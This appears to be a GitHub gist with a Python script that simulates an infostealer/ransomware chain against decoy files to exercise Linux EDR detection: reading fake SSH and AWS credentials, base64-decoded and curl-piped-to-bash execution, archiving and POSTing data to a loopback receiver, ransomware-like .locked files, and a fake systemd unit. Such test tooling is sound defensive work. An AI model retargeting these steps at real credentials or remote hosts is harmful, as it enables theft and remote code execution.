Skip to content

Instantly share code, notes, and snippets.

@birdie-github
Created October 15, 2026 08:24
Show Gist options
  • Select an option

  • Save birdie-github/4b71ac81f5ab84e02e5e5054404180eb to your computer and use it in GitHub Desktop.

Select an option

Save birdie-github/4b71ac81f5ab84e02e5e5054404180eb to your computer and use it in GitHub Desktop.
A synthetic infostealer/ransomware hybrid that performs genuine operations against dummy files for testing a Linux antivirus
#!/usr/bin/env python3
"""Harmless Linux EDR behavioral exercise: works only with generated decoy data."""
import base64
import hashlib
import http.server
import os
from pathlib import Path
import shlex
import shutil
import subprocess
import sys
import tempfile
import threading
def execute(argv, *, env=None):
print("$", shlex.join(argv), flush=True)
subprocess.run(argv, env=env, check=True, timeout=15)
class LoopbackHandler(http.server.BaseHTTPRequestHandler):
def log_message(self, *_args):
pass
def do_GET(self):
if self.path != "/stage.sh":
self.send_error(404)
return
script = b'#!/bin/sh\nprintf "stage ran locally\\n" > "$MDE_LAB_MARKER"\n'
self.send_response(200)
self.send_header("Content-Type", "text/x-shellscript")
self.send_header("Content-Length", str(len(script)))
self.end_headers()
self.wfile.write(script)
def do_POST(self):
if self.path != "/collect":
self.send_error(404)
return
length = int(self.headers.get("Content-Length", "0"))
if not 0 < length <= 1_000_000:
self.send_error(413)
return
incoming = self.rfile.read(length)
self.server.received_hash = hashlib.sha256(incoming).hexdigest()
self.send_response(200)
self.end_headers()
self.wfile.write(b"loopback receiver accepted dummy archive\n")
def main():
if os.geteuid() == 0:
sys.exit("Refusing to run as root. Use an unprivileged test account.")
for program in ("bash", "base64", "tar", "curl", "ps"):
if not shutil.which(program):
sys.exit(f"Missing dependency: {program}")
root = Path(tempfile.mkdtemp(prefix="mde-behavior-", dir="/tmp"))
fake_home = root / "fake_home"
docs = fake_home / "Documents"
for directory in (docs, fake_home / ".ssh", fake_home / ".aws", fake_home / ".cache"):
directory.mkdir(parents=True)
print(f"Test data only: {root}", flush=True)
(fake_home / ".ssh" / "id_rsa").write_text(
"-----BEGIN OPENSSH PRIVATE KEY-----\nNOT_A_REAL_KEY_EDR_TEST_ONLY\n-----END OPENSSH PRIVATE KEY-----\n"
)
(fake_home / ".aws" / "credentials").write_text(
"[default]\naws_access_key_id=TEST_ONLY_NOT_VALID\naws_secret_access_key=TEST_ONLY_NOT_VALID\n"
)
for i in range(48):
(docs / f"invoice_{i:03d}.txt").write_text(
(f"SYNTHETIC TEST DOCUMENT #{i:03d}\n" + "FAKE CUSTOMER DATA\n" * 64)
)
fake_env = os.environ.copy()
fake_env["HOME"] = str(fake_home)
fake_env["MDE_LAB_MARKER"] = str(root / "downloaded_stage.marker")
print("\n[1] Host and process discovery; enumerating ONLY decoy credential paths")
execute(["bash", "-c", 'id; uname -a; ps -eo pid,comm | head -n 12; find "$HOME/.ssh" "$HOME/.aws" -type f'], env=fake_env)
print("\n[2] Reading FAKE credentials into FAKE collection file")
execute(["bash", "-c", 'cat "$HOME/.ssh/id_rsa" "$HOME/.aws/credentials" > "$HOME/.cache/collected_credentials"'], env=fake_env)
print("\n[3] Executing a harmless base64-decoded shell command")
harmless = "printf 'decoded stage: harmless test only\\n'"
encoded = base64.b64encode(harmless.encode()).decode()
execute(["bash", "-c", f"printf %s {shlex.quote(encoded)} | base64 -d | bash"], env=fake_env)
server = http.server.HTTPServer(("127.0.0.1", 0), LoopbackHandler)
worker = threading.Thread(target=server.serve_forever, daemon=True)
worker.start()
port = server.server_port
try:
print("\n[4] Fetch-and-execute a harmless shell script from LOOPBACK ONLY")
local_url = f"http://127.0.0.1:{port}/stage.sh"
execute(["bash", "-c", f"set -o pipefail; curl --noproxy '*' -fsS {shlex.quote(local_url)} | bash"], env=fake_env)
print("\n[5] Archiving dummy data, including FAKE credentials")
archive = root / "collection.tar.gz"
execute(["tar", "-czf", str(archive), "-C", str(fake_home), ".ssh", ".aws", "Documents"])
print("\n[6] POSTing archive to a receiver bound to 127.0.0.1 ONLY")
execute(["curl", "--noproxy", "*", "-fsS", "--max-time", "5", "-X", "POST",
"--data-binary", f"@{archive}", f"http://127.0.0.1:{port}/collect"])
print("Loopback payload SHA256:", getattr(server, "received_hash", "not received"))
finally:
server.shutdown()
server.server_close()
worker.join(timeout=2)
print("\n[7] Ransomware-like burst: write .locked COPIES of dummy documents")
for source in sorted(docs.glob("invoice_*.txt")):
# Random-looking clones only. Original dummy documents remain untouched.
source.with_name(source.name + ".locked").write_bytes(os.urandom(source.stat().st_size))
(docs / "README_RESTORE_FILES.txt").write_text(
"SIMULATION ONLY: No files were encrypted, modified, or held for ransom.\n"
)
print("\n[8] Creating an INERT systemd-unit lookalike INSIDE the decoy home")
unit = fake_home / ".config" / "systemd" / "user" / "updater.service"
unit.parent.mkdir(parents=True)
unit.write_text("[Unit]\nDescription=INERT MDE simulation artifact\n"
"[Service]\nType=oneshot\nExecStart=/usr/bin/true\n")
print("\nCompleted. Real home, services and data were never modified.")
print("All new files are under:", root)
print("No network requests were made beyond 127.0.0.1.")
print("The test directory is retained for inspection; remove it manually when done.")
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment